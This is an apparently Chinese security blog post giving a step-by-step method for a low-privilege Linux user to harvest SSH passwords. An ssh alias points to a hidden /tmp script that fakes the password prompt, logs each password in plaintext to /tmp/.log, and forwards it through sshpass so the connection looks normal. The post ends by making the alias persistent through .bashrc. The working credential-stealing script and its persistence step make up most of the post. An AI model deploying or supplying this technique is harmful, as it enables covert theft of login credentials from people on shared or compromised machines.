Linux下低权限用户记录SSH的密码

实现思路

    当用户执行 ssh user@remotehost 时,实际上执行的是我的恶意脚本,负责将用户输入的密码存在本地,并传参给正常的SSH连接,实现抓取SSH密码的功能。

具体步骤

首先使用 alias 命令创建一个别名 这样当用户执行ssh时,执行的是指定的脚本

alias ssh="/tmp/.ssh"

当设置完别名后,仍可使用 /usr/bin/ssh 进行正常的SSH连接 测试一下

ssh.png

接下来观察正常的SSH连接会回显什么内容

ssh2.png

那修改Shell脚本的回显,伪装成正常的SSH连接

#!/bin/bash
echo -e "${1}'s password: \c" #不换行输出
read -s pass #读取用户输入的内容,并赋值给变量pass
echo $pass >> /tmp/.log #将pass的内容输出到/tmp/.log中

再测试一下

ssh3.png

可以看到到目前为止,已经伪装的很像一个真实的SSH连接了。 接下来解决如何将用户输入的内容传参给真实的SSH连接。 我们知道,Linux下,SSH只接受标准化输入的内容,也就是不能使用的常见的管道符将密码发送给SSH连接 如图

ssh4.png

于是我在此选择使用 sshpass 将密码发送给SSH连接 下载地址:https://sourceforge.net/projects/sshpass/ 下载后,编译安装,就可以正常使用了

./configure
make install

sshpass.png

sshpass的命令为

/sshpass -p "password" ssh user@remotehost

继续编辑Shell脚本

#!/bin/bash
echo -e "${1}'s password: \c"
read -s pass
echo $pass >> /tmp/.log
echo ""
/tmp/.sshpass -p "$pass" /usr/bin/ssh ${1}

测试一下

test.png

查看/tmp/.log文件

test2.png

那么最终版脚本如下

#!/bin/bash
if [ $# != "1" ] #加个简单的判断
then
/usr/bin/ssh
else
echo -e "${1}'s password: \c"
read -s pass
echo $1":"$pass >> /tmp/.log #输出结果更美观
echo ""
/tmp/.sshpass -p "$pass" /usr/bin/ssh ${1}
fi

运行效果

f1.png

输出结果

f2.png

然而直接使用 alias 命令,只对当前终端生效 为了持久化运行,我们可以编辑 .bashrc 文件,实现用户每次登陆时都生效

f3.png

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×